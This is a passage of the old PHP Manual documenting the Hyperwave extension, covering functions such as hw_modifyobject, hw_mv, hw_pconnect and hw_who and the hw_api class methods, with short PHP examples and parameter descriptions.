Example #2 adding a completely new attribute

<?php
       // $connect is an existing connection to the Hyperwave server
       // $objid is the ID of the object to modify
       $remarr = array("Name" => 0);
       $addarr = array("Name" => "articles");
       $hw_modifyobject($connect, $objid, $remarr, $addarr);
?>

Note: Multilingual attributes, e.g. 'Title', can be modified in two ways. Either by providing the attributes value in its native form 'language':'title' or by providing an array with elements for each language as described above. The above example would than be:

Example #3 modifying Title attribute

<?php
       $remarr = array("Title" => "en:Books");
       $addarr = array("Title" => "en:Articles");
       $hw_modifyobject($connect, $objid, $remarr, $addarr);
?>
or

Example #4 modifying Title attribute

<?php
       $remarr = array("Title" => array("en" => "Books"));
       $addarr = array("Title" => array("en" => "Articles", "ge"=>"Artikel"));
       $hw_modifyobject($connect, $objid, $remarr, $addarr);
?>
This removes the English title 'Books' and adds the English title 'Articles' and the German title 'Artikel'.

Example #5 removing attribute

<?php
       $remarr = array("Title" => "");
       $addarr = array("Title" => "en:Articles");
       $hw_modifyobject($connect, $objid, $remarr, $addarr);
?>

Note: This will remove all attributes with the name 'Title' and adds a new 'Title' attribute. This comes in handy if you want to remove attributes recursively.

Note: If you need to delete all attributes with a certain name you will have to pass an empty string as the attribute value.

Note: Only the attributes 'Title', 'Description' and 'Keyword' will properly handle the language prefix. If those attributes don't carry a language prefix, the prefix 'xx' will be assigned.

Note: The 'Name' attribute is somewhat special. In some cases it cannot be complete removed. You will get an error message 'Change of base attribute' (not clear when this happens). Therefore you will always have to add a new Name first and than remove the old one.

Note: You may not surround this function by calls to hw_getandlock() and hw_unlock(). hw_modifyobject() does this internally.

Parameters

connection

The connection identifier.

object_to_change

The object to be changed.

remove

An array of attributes to remove.

add

An array of attributes to add.

mode

The last parameter determines if the modification is performed recursively. 1 means recursive modification. If some of the objects cannot be modified they will be skipped without notice. hw_error() may not indicate an error though some of the objects could not be modified.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
hw_mapid
hw_mv
Hyperwave Functions


Moves objects

hw_Modifyobject
hw_New_Document
Hyperwave Functions
PHP Manual

hw_mv

(PHP 4)

hw_mv — Moves objects

Description

int hw_mv ( int $connection , array $object_id_array , int $source_id , int $destination_id )

Moves the specified objects from a collection to another.

Parameters

connection

The connection identifier.

object_id_array

An array of object ids.

source_id

The source collection id.

destination_id

The target collection id. If set to 0 the objects will be unlinked from the source collection. If this is the last instance of that object it will be deleted. If you want to delete all instances at once, use hw_deleteobject().

Return Values

Returns the number of moved objects.

See Also

  • hw_cp() - Copies objects
  • hw_deleteobject() - Deletes object

User Contributed Notes

There are no user contributed notes for this page.
hw_Modifyobject
hw_New_Document
Hyperwave Functions


Create new document

hw_mv
hw_objrec2array
Hyperwave Functions
PHP Manual

hw_New_Document

(PHP 4)

hw_New_Document — Create new document

Description

int hw_new_document ( string $object_record , string $document_data , int $document_size )

Returns a new Hyperwave document with the given document data and object record.

This function does not insert the document into the Hyperwave server.

Parameters

object_record

The object record.

document_data

The document data.

document_size

The document size. Must be the length of document_data.

Return Values

Returns the new Hyperwave document.

See Also

  • hw_free_document() - Frees hw_document
  • hw_document_size() - Size of hw_document
  • hw_document_bodytag() - Body tag of hw_document
  • hw_output_document() - Prints hw_document
  • hw_insertdocument() - Upload any document

User Contributed Notes

There are no user contributed notes for this page.
hw_mv
hw_objrec2array
Hyperwave Functions


Convert attributes from object record to object array

hw_New_Document
hw_Output_Document
Hyperwave Functions
PHP Manual

hw_objrec2array

(PHP 4)

hw_objrec2array — Convert attributes from object record to object array

Description

array hw_objrec2array ( string $object_record [, array $format ] )

Converts an object_record into an object array.

Parameters

object_record

The object record.

format

An associative array with the attribute name as its key and the value being one of HW_ATTR_LANG or HW_ATTR_NONE.

Return Values

Returns an array. The keys of the resulting array are the attributes names. Multi-value attributes like 'Title' in different languages form its own array. The keys of this array are the left part to the colon of the attribute value. This left part must be two characters long.

Other multi-value attributes without a prefix form an indexed array. If the optional parameter is missing the attributes 'Title', 'Description' and 'Keyword' are treated as language attributes and the attributes 'Group', 'Parent' and 'HtmlAttr' as non-prefixed multi-value attributes. By passing an array holding the type for each attribute you can alter this behaviour.

See Also

  • hw_array2objrec() - Convert attributes from object array to object record

User Contributed Notes

Anonymous 31-Jul-2010 09:22
You can also use:

<?php
//If your object is called $object:

$my_array = (array) $object;

//And to prove it worked:
print_r($my_array);
?>
hw_New_Document
hw_Output_Document
Hyperwave Functions


Prints hw_document

hw_objrec2array
hw_pConnect
Hyperwave Functions
PHP Manual

hw_Output_Document

(PHP 4)

hw_Output_Document — Prints hw_document

Description

bool hw_output_document ( int $hw_document )

Prints the document without the BODY tag.

For backward compatibility, hw_outputdocument() is also accepted. This is deprecated, however.

Parameters

hw_document

The document identifier.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
hw_objrec2array
hw_pConnect
Hyperwave Functions


Make a persistent database connection

hw_Output_Document
hw_PipeDocument
Hyperwave Functions
PHP Manual

hw_pConnect

(PHP 4)

hw_pConnect — Make a persistent database connection

Description

int hw_pconnect ( string $host , int $port [, string $username ], string $password )

Opens a persistent connection to a Hyperwave server. You can have multiple persistent connections open at once.

Parameters

host

The server host name.

port

The server port number.

username

The Hyperwave user name. If omitted, no identification with the server will be done. It is similar to identify as user anonymous.

password

The password for username. Keep in mind, that the password is not encrypted.

Return Values

Returns a connection index on success, or FALSE if the connection could not be made.

See Also

  • hw_connect() - Opens a connection

User Contributed Notes

There are no user contributed notes for this page.
hw_Output_Document
hw_PipeDocument
Hyperwave Functions


Retrieve any document

hw_pConnect
hw_Root
Hyperwave Functions
PHP Manual

hw_PipeDocument

(PHP 4)

hw_PipeDocument — Retrieve any document

Description

int hw_pipedocument ( int $connection , int $objectID [, array $url_prefixes ] )

Gets the Hyperwave document with the given object ID. If the document has anchors which can be inserted, they will have been inserted already.

The document will be transferred via a special data connection which does not block the control connection.

Parameters

connection

The connection identifier.

objectID

The object identifier.

url_prefixes

Return Values

Returns the Hyperwave document.

See Also

  • hw_gettext() - Retrieve text document
  • hw_free_document() - Frees hw_document
  • hw_document_size() - Size of hw_document
  • hw_document_bodytag() - Body tag of hw_document
  • hw_output_document() - Prints hw_document

User Contributed Notes

There are no user contributed notes for this page.
hw_pConnect
hw_Root
Hyperwave Functions


Root object id

hw_PipeDocument
hw_setlinkroot
Hyperwave Functions
PHP Manual

hw_Root

(PHP 4)

hw_Root — Root object id

Description

int hw_root ( void )

Returns the object ID of the hyperroot collection. Currently this is always 0. The child collection of the hyperroot is the root collection of the connected server.

Return Values

Returns 0.

User Contributed Notes

There are no user contributed notes for this page.
hw_PipeDocument
hw_setlinkroot
Hyperwave Functions


Set the id to which links are calculated

hw_Root
hw_stat
Hyperwave Functions
PHP Manual

hw_setlinkroot

(PHP 4)

hw_setlinkroot — Set the id to which links are calculated

Description

int hw_setlinkroot ( int $link , int $rootid )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
hw_Root
hw_stat
Hyperwave Functions


Returns status string

hw_setlinkroot
hw_Unlock
Hyperwave Functions
PHP Manual

hw_stat

(PHP 4)

hw_stat — Returns status string

Description

string hw_stat ( int $link )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
hw_setlinkroot
hw_Unlock
Hyperwave Functions


Unlock object

hw_stat
hw_Who
Hyperwave Functions
PHP Manual

hw_Unlock

(PHP 4)

hw_Unlock — Unlock object

Description

bool hw_unlock ( int $connection , int $objectID )

Unlocks a document, so other users regain access.

Parameters

connection

The connection identifier.

objectID

The document object identifier.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_getandlock() - Return object record and lock object

User Contributed Notes

There are no user contributed notes for this page.
hw_stat
hw_Who
Hyperwave Functions


List of currently logged in users

hw_Unlock
Hyperwave API
Hyperwave Functions
PHP Manual

hw_Who

(PHP 4)

hw_Who — List of currently logged in users

Description

array hw_who ( int $connection )

Gets the list of currently logged in users.

Parameters

connection

The connection identifier.

Return Values

Returns an array of users currently logged into the Hyperwave server. Each entry in this array is an array itself containing the elements id, name, system, onSinceDate, onSinceTime, TotalTime and self. 'self' is 1 if this entry belongs to the user who initiated the request.

User Contributed Notes

There are no user contributed notes for this page.
hw_Unlock
Hyperwave API
Hyperwave Functions


Hyperwave API

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Hyperwave API Functions
    • hw_api::checkin — Checks in an object
    • hw_api::checkout — Checks out an object
    • hw_api::children — Returns children of an object
    • hw_api::content — Returns content of an object
    • hw_api::copy — Copies physically
    • hw_api::dbstat — Returns statistics about database server
    • hw_api::dcstat — Returns statistics about document cache server
    • hw_api::dstanchors — Returns a list of all destination anchors
    • hw_api::dstofsrcanchor — Returns destination of a source anchor
    • hw_api::find — Search for objects
    • hw_api::ftstat — Returns statistics about fulltext server
    • hw_api::hwstat — Returns statistics about Hyperwave server
    • hw_api::identify — Log into Hyperwave Server
    • hw_api::info — Returns information about server configuration
    • hw_api::insert — Inserts a new object
    • hw_api::insertanchor — Inserts a new object of type anchor
    • hw_api::insertcollection — Inserts a new object of type collection
    • hw_api::insertdocument — Inserts a new object of type document
    • hw_api::link — Creates a link to an object
    • hw_api::lock — Locks an object
    • hw_api::move — Moves object between collections
    • hw_api::object — Retrieve attribute information
    • hw_api::objectbyanchor — Returns the object an anchor belongs to
    • hw_api::parents — Returns parents of an object
    • hw_api::remove — Delete an object
    • hw_api::replace — Replaces an object
    • hw_api::setcommittedversion — Commits version other than last version
    • hw_api::srcanchors — Returns a list of all source anchors
    • hw_api::srcsofdst — Returns source of a destination object
    • hw_api::unlock — Unlocks a locked object
    • hw_api::user — Returns the own user object
    • hw_api::userlist — Returns a list of all logged in users
    • hw_api_attribute::key — Returns key of the attribute
    • hw_api_attribute::langdepvalue — Returns value for a given language
    • hw_api_attribute::value — Returns value of the attribute
    • hw_api_attribute::values — Returns all values of the attribute
    • hw_api_content::mimetype — Returns mimetype
    • hw_api_content::read — Read content
    • hw_api_error::count — Returns number of reasons
    • hw_api_error::reason — Returns reason of error
    • hw_api_object::assign — Clones object
    • hw_api_object::attreditable — Checks whether an attribute is editable
    • hw_api_object::count — Returns number of attributes
    • hw_api_object::insert — Inserts new attribute
    • hw_api_object::remove — Removes attribute
    • hw_api_object::title — Returns the title attribute
    • hw_api_object::value — Returns value of attribute
    • hw_api_reason::description — Returns description of reason
    • hw_api_reason::type — Returns type of reason
    • hwapi_attribute_new — Creates instance of class hw_api_attribute
    • hwapi_content_new — Create new instance of class hw_api_content
    • hwapi_hgcsp — Returns object of class hw_api
    • hwapi_object_new — Creates a new instance of class hwapi_object_new

User Contributed Notes

There are no user contributed notes for this page.
hw_Who
Introduction
Other Services


Introduction

Hyperwave has been developed at » IICM in Graz. It started with the name Hyper-G and changed to Hyperwave when it was commercialised (in 1996).

Hyperwave is not free software. The current version, 5.5, is available at » http://www.hyperwave.com/. A time limited version can be ordered for free (30 days).

See also the Hyperwave module.

Hyperwave is an information system similar to a database (HIS, Hyperwave Information Server). Its focus is the storage and management of documents. A document can be any possible piece of data that may as well be stored in file. Each document is accompanied by its object record. The object record contains meta data for the document. The meta data is a list of attributes which can be extended by the user. Certain attributes are always set by the Hyperwave server, other may be modified by the user.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.2.0.

User Contributed Notes

There are no user contributed notes for this page.
Hyperwave API
Installing/Configuring
Hyperwave API


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Hyperwave API


Requirements

Since 2001 there is a Hyperwave SDK available. It supports Java, JavaScript and C++. This PHP Extension is based on the C++ interface. In order to activate the hwapi support in PHP you will have to install the Hyperwave SDK first.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/hwapi.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.2.0

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Hyperwave API configuration options
Name | Default | Changeable | Changelog
hwapi.allow_persistent | "0" | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Hyperwave API Functions
Hyperwave API


Hyperwave API Functions

Integration with Apache

The integration with Apache and possible other servers is already described in the Hyperwave module which has been the first extension to connect a Hyperwave Server.

Classes

The API provided by the HW_API extension is fully object oriented. It is very similar to the C++ interface of the Hyperwave SDK. It consist of the following classes.

  • HW_API
  • HW_API_Object
  • HW_API_Attribute
  • HW_API_Error
  • HW_API_Content
  • HW_API_Reason
Some basic classes like HW_API_String, HW_API_String_Array, etc., which exist in the Hyperwave SDK have not been implemented since PHP has powerful replacements for them.

Each class has certain method, whose names are identical to its counterparts in the Hyperwave SDK. Passing arguments to this function differs from all the other PHP extensions but is close to the C++ API of the HW SDK. Instead of passing several parameters they are all put into an associated array and passed as one parameter. The names of the keys are identical to those documented in the HW SDK. The common parameters are listed below. If other parameters are required they will be documented if needed.

  • objectIdentifier The name or id of an object, e.g. "rootcollection", "0x873A8768 0x00000002".
  • parentIdentifier The name or id of an object which is considered to be a parent.
  • object An instance of class HW_API_Object.
  • parameters An instance of class HW_API_Object.
  • version The version of an object.
  • mode An integer value determine the way an operation is executed.
  • attributeSelector Any array of strings, each containing a name of an attribute. This is used if you retrieve the object record and want to include certain attributes.
  • objectQuery A query to select certain object out of a list of objects. This is used to reduce the number of objects which was delivered by a function like hw_api::children() or hw_api::find().

Note:

Methods returning boolean can return TRUE, FALSE or HW_API_Error object.

Table of Contents

  • hw_api::checkin — Checks in an object
  • hw_api::checkout — Checks out an object
  • hw_api::children — Returns children of an object
  • hw_api::content — Returns content of an object
  • hw_api::copy — Copies physically
  • hw_api::dbstat — Returns statistics about database server
  • hw_api::dcstat — Returns statistics about document cache server
  • hw_api::dstanchors — Returns a list of all destination anchors
  • hw_api::dstofsrcanchor — Returns destination of a source anchor
  • hw_api::find — Search for objects
  • hw_api::ftstat — Returns statistics about fulltext server
  • hw_api::hwstat — Returns statistics about Hyperwave server
  • hw_api::identify — Log into Hyperwave Server
  • hw_api::info — Returns information about server configuration
  • hw_api::insert — Inserts a new object
  • hw_api::insertanchor — Inserts a new object of type anchor
  • hw_api::insertcollection — Inserts a new object of type collection
  • hw_api::insertdocument — Inserts a new object of type document
  • hw_api::link — Creates a link to an object
  • hw_api::lock — Locks an object
  • hw_api::move — Moves object between collections
  • hw_api::object — Retrieve attribute information
  • hw_api::objectbyanchor — Returns the object an anchor belongs to
  • hw_api::parents — Returns parents of an object
  • hw_api::remove — Delete an object
  • hw_api::replace — Replaces an object
  • hw_api::setcommittedversion — Commits version other than last version
  • hw_api::srcanchors — Returns a list of all source anchors
  • hw_api::srcsofdst — Returns source of a destination object
  • hw_api::unlock — Unlocks a locked object
  • hw_api::user — Returns the own user object
  • hw_api::userlist — Returns a list of all logged in users
  • hw_api_attribute::key — Returns key of the attribute
  • hw_api_attribute::langdepvalue — Returns value for a given language
  • hw_api_attribute::value — Returns value of the attribute
  • hw_api_attribute::values — Returns all values of the attribute
  • hw_api_content::mimetype — Returns mimetype
  • hw_api_content::read — Read content
  • hw_api_error::count — Returns number of reasons
  • hw_api_error::reason — Returns reason of error
  • hw_api_object::assign — Clones object
  • hw_api_object::attreditable — Checks whether an attribute is editable
  • hw_api_object::count — Returns number of attributes
  • hw_api_object::insert — Inserts new attribute
  • hw_api_object::remove — Removes attribute
  • hw_api_object::title — Returns the title attribute
  • hw_api_object::value — Returns value of attribute
  • hw_api_reason::description — Returns description of reason
  • hw_api_reason::type — Returns type of reason
  • hwapi_attribute_new — Creates instance of class hw_api_attribute
  • hwapi_content_new — Create new instance of class hw_api_content
  • hwapi_hgcsp — Returns object of class hw_api
  • hwapi_object_new — Creates a new instance of class hwapi_object_new

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
hw_api::checkin
Hyperwave API


Checks in an object

Hyperwave API Functions
hw_api::checkout
Hyperwave API Functions
PHP Manual

hw_api::checkin

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::checkin — Checks in an object

Description

bool hw_api::checkin ( array $parameter )

This function checks in an object or a whole hierarchy of objects. The parameters array contains the required element 'objectIdentifier' and the optional element 'version', 'comment', 'mode' and 'objectQuery'. 'version' sets the version of the object. It consists of the major and minor version separated by a period. If the version is not set, the minor version is incremented. 'mode' can be one of the following values:

HW_API_CHECKIN_NORMAL
Checks in and commits the object. The object must be a document.
HW_API_CHECKIN_RECURSIVE
If the object to check in is a collection, all children will be checked in recursively if they are documents. Trying to check in a collection would result in an error.
HW_API_CHECKIN_FORCE_VERSION_CONTROL
Checks in an object even if it is not under version control.
HW_API_CHECKIN_REVERT_IF_NOT_CHANGED
Check if the new version is different from the last version. Unless this is the case the object will be checked in.
HW_API_CHECKIN_KEEP_TIME_MODIFIED
Keeps the time modified from the most recent object.
HW_API_CHECKIN_NO_AUTO_COMMIT
The object is not automatically committed on check-in.

Parameters

parameter

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_api::checkout

User Contributed Notes

There are no user contributed notes for this page.
Hyperwave API Functions
hw_api::checkout
Hyperwave API Functions


Checks out an object

hw_api::checkin
hw_api::children
Hyperwave API Functions
PHP Manual

hw_api::checkout

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::checkout — Checks out an object

Description

bool hw_api::checkout ( array $parameter )

This function checks out an object or a whole hierarchy of objects.

Parameters

parameter

The parameters array contains the required element 'objectIdentifier' and the optional element 'version', 'mode' and 'objectQuery'. 'mode' can be one of the following values:

HW_API_CHECKIN_NORMAL
Checks out an object. The object must be a document.
HW_API_CHECKIN_RECURSIVE
If the object to check out is a collection, all children will be checked out recursively if they are documents. Trying to check out a collection would result in an error.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_api::checkin

User Contributed Notes

There are no user contributed notes for this page.
hw_api::checkin
hw_api::children
Hyperwave API Functions


Returns children of an object

hw_api::checkout
hw_api::content
Hyperwave API Functions
PHP Manual

hw_api::children

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::children — Returns children of an object

Description

array hw_api::children ( array $parameter )

Retrieves the children of a collection or the attributes of a document. The children can be further filtered by specifying an object query.

Parameters

parameter

The parameter array contains the required elements 'objectIdentifier' and the optional elements 'attributeSelector' and 'objectQuery'.

Return Values

The return value is an array of objects of type HW_API_Object or HW_API_Error.

See Also

  • hw_api::parents

User Contributed Notes

There are no user contributed notes for this page.
hw_api::checkout
hw_api::content
Hyperwave API Functions


Returns content of an object

hw_api::children
hw_api::copy
Hyperwave API Functions
PHP Manual

hw_api::content

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::content — Returns content of an object

Description

HW_API_Content hw_api::content ( array $parameter )

This function returns the content of a document as an object of type hw_api_content.

Parameters

parameter

The parameter array contains the required elements 'objectidentifier' and the optional element 'mode'. The mode can be one of the constants HW_API_CONTENT_ALLLINKS, HW_API_CONTENT_REACHABLELINKS or HW_API_CONTENT_PLAIN.

HW_API_CONTENT_ALLLINKS means to insert all anchors even if the destination is not reachable.

HW_API_CONTENT_REACHABLELINKS tells this method to insert only reachable links and HW_API_CONTENT_PLAIN will lead to document without any links.

Return Values

Returns an instance of hw_api_content.

User Contributed Notes

There are no user contributed notes for this page.
hw_api::children
hw_api::copy
Hyperwave API Functions


Copies physically

hw_api::content
hw_api::dbstat
Hyperwave API Functions
PHP Manual

hw_api::copy

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::copy — Copies physically

Description

hw_api_content hw_api::copy ( array $parameter )

This function will make a physical copy including the content if it exists and returns the new object or an error object.

Parameters

parameter

The parameter array contains the required elements 'objectIdentifier' and 'destinationParentIdentifier'. The optional parameter is 'attributeSelector'`

Return Values

Returns the copied object.

See Also

  • hw_api::move
  • hw_api::link

User Contributed Notes

There are no user contributed notes for this page.
hw_api::content
hw_api::dbstat
Hyperwave API Functions


Returns statistics about database server

hw_api::copy
hw_api::dcstat
Hyperwave API Functions
PHP Manual

hw_api::dbstat

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::dbstat — Returns statistics about database server

Description

hw_api_object hw_api::dbstat ( array $parameter )

Returns statistics about database server.

Parameters

parameter

Return Values

See Also

  • hw_api::dcstat
  • hw_api::hwstat
  • hw_api::ftstat

User Contributed Notes

There are no user contributed notes for this page.
hw_api::copy
hw_api::dcstat
Hyperwave API Functions


Returns statistics about document cache server

hw_api::dbstat
hw_api::dstanchors
Hyperwave API Functions
PHP Manual

hw_api::dcstat

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::dcstat — Returns statistics about document cache server

Description

hw_api_object hw_api::dcstat ( array $parameter )

Returns statistics about document cache server.

Parameters

parameter

Return Values

See Also

  • hw_api::dbstat
  • hw_api::hwstat
  • hw_api::ftstat

User Contributed Notes

There are no user contributed notes for this page.
hw_api::dbstat
hw_api::dstanchors
Hyperwave API Functions


Returns a list of all destination anchors

hw_api::dcstat
hw_api::dstofsrcanchor
Hyperwave API Functions
PHP Manual

hw_api::dstanchors

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::dstanchors — Returns a list of all destination anchors

Description

array hw_api::dstanchors ( array $parameter )

Retrieves all destination anchors of an object.

Parameters

parameter

The parameter array contains the required element 'objectIdentifier' and the optional elements 'attributeSelector' and 'objectQuery'.

Return Values

See Also

  • hw_api::srcanchors

User Contributed Notes

There are no user contributed notes for this page.
hw_api::dcstat
hw_api::dstofsrcanchor
Hyperwave API Functions


Returns destination of a source anchor

hw_api::dstanchors
hw_api::find
Hyperwave API Functions
PHP Manual

hw_api::dstofsrcanchor

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::dstofsrcanchor — Returns destination of a source anchor

Description

hw_api_object hw_api::dstofsrcanchor ( array $parameter )

Retrieves the destination object pointed by the specified source anchors. The destination object can either be a destination anchor or a whole document.

Parameters

parameter

The parameters array contains the required element 'objectIdentifier' and the optional element 'attributeSelector'.

Return Values

See Also

  • hw_api::srcanchors
  • hw_api::dstanchors
  • hw_api::objectbyanchor

User Contributed Notes

There are no user contributed notes for this page.
hw_api::dstanchors
hw_api::find
Hyperwave API Functions


Search for objects

hw_api::dstofsrcanchor
hw_api::ftstat
Hyperwave API Functions
PHP Manual

hw_api::find

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::find — Search for objects

Description

array hw_api::find ( array $parameter )

This functions searches for objects either by executing a key or/and full text query. The found objects can further be filtered by an optional object query. They are sorted by their importance. The second search operation is relatively slow and its result can be limited to a certain number of hits. This allows to perform an incremental search, each returning just a subset of all found documents, starting at a given index.

Parameters

parameter

The parameter array contains the 'keyquery' or/and 'fulltextquery' depending on who you would like to search. Optional parameters are 'objectquery', 'scope', 'languages' and 'attributeselector'. In case of an incremental search the optional parameters 'startIndex', 'numberOfObjectsToGet' and 'exactMatchUnit' can be passed.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
hw_api::dstofsrcanchor
hw_api::ftstat
Hyperwave API Functions


Returns statistics about fulltext server

hw_api::find
hw_api::hwstat
Hyperwave API Functions
PHP Manual

hw_api::ftstat

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::ftstat — Returns statistics about fulltext server

Description

hw_api_object hw_api::ftstat ( array $parameter )

Returns statistics about fulltext server.

Parameters

parameter

Return Values

See Also

  • hw_api::dcstat
  • hw_api::dbstat
  • hw_api::hwstat

User Contributed Notes

There are no user contributed notes for this page.
hw_api::find
hw_api::hwstat
Hyperwave API Functions


Returns statistics about Hyperwave server

hw_api::ftstat
hw_api::identify
Hyperwave API Functions
PHP Manual

hw_api::hwstat

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::hwstat — Returns statistics about Hyperwave server

Description

hw_api_object hw_api::hwstat ( array $parameter )

Returns statistics about Hyperwave server.

Parameters

parameter

Return Values

See Also

  • hw_api::dcstat
  • hw_api::dbstat
  • hw_api::ftstat

User Contributed Notes

There are no user contributed notes for this page.
hw_api::ftstat
hw_api::identify
Hyperwave API Functions


Log into Hyperwave Server

hw_api::hwstat
hw_api::info
Hyperwave API Functions
PHP Manual

hw_api::identify

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::identify — Log into Hyperwave Server

Description

bool hw_api::identify ( array $parameter )

Logs into the Hyperwave Server.

Parameters

parameter

The parameter array must contain the elements 'username' and 'password'.

Return Values

Returns an object of typeHW_API_Error if identification failed or TRUE if it was successful.

User Contributed Notes

There are no user contributed notes for this page.
hw_api::hwstat
hw_api::info
Hyperwave API Functions


Returns information about server configuration

hw_api::identify
hw_api::insert
Hyperwave API Functions
PHP Manual

hw_api::info

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::info — Returns information about server configuration

Description

array hw_api::info ( array $parameter )

Returns information about server configuration.

Parameters

parameter

Return Values

See Also

  • hw_api::dcstat
  • hw_api::dbstat
  • hw_api::ftstat
  • hw_api::hwstat

User Contributed Notes

There are no user contributed notes for this page.
hw_api::identify
hw_api::insert
Hyperwave API Functions


Inserts a new object

hw_api::info
hw_api::insertanchor
Hyperwave API Functions
PHP Manual

hw_api::insert

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::insert — Inserts a new object

Description

hw_api_object hw_api::insert ( array $parameter )

Insert a new object. The object type can be user, group, document or anchor. Depending on the type other object attributes has to be set.

Parameters

parameter

The parameter array contains the required elements 'object' and 'content' (if the object is a document) and the optional parameters 'parameters', 'mode' and 'attributeSelector'. The 'object' must contain all attributes of the object. 'parameters' is an object as well holding further attributes like the destination (attribute key is 'Parent'). 'content' is the content of the document. 'mode' can be a combination of the following flags:

HW_API_INSERT_NORMAL
The object in inserted into the server.
HW_API_INSERT_FORCE_VERSION_CONTROL
HW_API_INSERT_AUTOMATIC_CHECKOUT
HW_API_INSERT_PLAIN
HW_API_INSERT_KEEP_TIME_MODIFIED
HW_API_INSERT_DELAY_INDEXING

Return Values

See Also

  • hw_api::replace

User Contributed Notes

There are no user contributed notes for this page.
hw_api::info
hw_api::insertanchor
Hyperwave API Functions


Inserts a new object of type anchor

hw_api::insert
hw_api::insertcollection
Hyperwave API Functions
PHP Manual

hw_api::insertanchor

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::insertanchor — Inserts a new object of type anchor

Description

hw_api_object hw_api::insertanchor ( array $parameter )

This function is a shortcut for hwapi_insert(). It inserts an object of type anchor and sets some of the attributes required for an anchor.

Parameters

parameter

The parameter array contains the required elements 'object' and 'documentIdentifier' and the optional elements 'destinationIdentifier', 'parameter', 'hint' and 'attributeSelector'. The 'documentIdentifier' specifies the document where the anchor shall be inserted. The target of the anchor is set in 'destinationIdentifier' if it already exists. If the target does not exists the element 'hint' has to be set to the name of object which is supposed to be inserted later. Once it is inserted the anchor target is resolved automatically.

Return Values

See Also

  • hw_api::insert
  • hw_api::insertdocument
  • hw_api::insertcollection

User Contributed Notes

There are no user contributed notes for this page.
hw_api::insert
hw_api::insertcollection
Hyperwave API Functions


Inserts a new object of type collection

hw_api::insertanchor
hw_api::insertdocument
Hyperwave API Functions
PHP Manual

hw_api::insertcollection

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::insertcollection — Inserts a new object of type collection

Description

hw_api_object hw_api::insertcollection ( array $parameter )

This function is a shortcut for hwapi_insert(). It inserts an object of type collection and sets some of the attributes required for a collection.

Parameters

parameter

The parameter array contains the required elements 'object' and 'parentIdentifier' and the optional elements 'parameter' and 'attributeSelector'. See hwapi_insert() for the meaning of each element.

Return Values

See Also

  • hw_api::insert
  • hw_api::insertdocument
  • hw_api::insertanchor

User Contributed Notes

There are no user contributed notes for this page.
hw_api::insertanchor
hw_api::insertdocument
Hyperwave API Functions


Inserts a new object of type document

hw_api::insertcollection
hw_api::link
Hyperwave API Functions
PHP Manual

hw_api::insertdocument

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::insertdocument — Inserts a new object of type document

Description

hw_api_object hw_api::insertdocument ( array $parameter )

This function is a shortcut for hwapi_insert(). It inserts an object with content and sets some of the attributes required for a document.

Parameters

parameter

The parameter array contains the required elements 'object', 'parentIdentifier' and 'content' and the optional elements 'mode', 'parameter' and 'attributeSelector'.

See hwapi_insert() for the meaning of each element.

Return Values

See Also

  • hw_api::insert
  • hw_api::insertcollection
  • hw_api::insertanchor

User Contributed Notes

There are no user contributed notes for this page.
hw_api::insertcollection
hw_api::link
Hyperwave API Functions


Creates a link to an object

hw_api::insertdocument
hw_api::lock
Hyperwave API Functions
PHP Manual

hw_api::link

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::link — Creates a link to an object

Description

bool hw_api::link ( array $parameter )

Creates a link to an object. Accessing this link is like accessing the object to links points to.

Parameters

parameter

The parameter array contains the required elements 'objectIdentifier' and 'destinationParentIdentifier'. 'destinationParentIdentifier' is the target collection.

Return Values

The function returns TRUE on success or an error object.

See Also

  • hw_api::copy

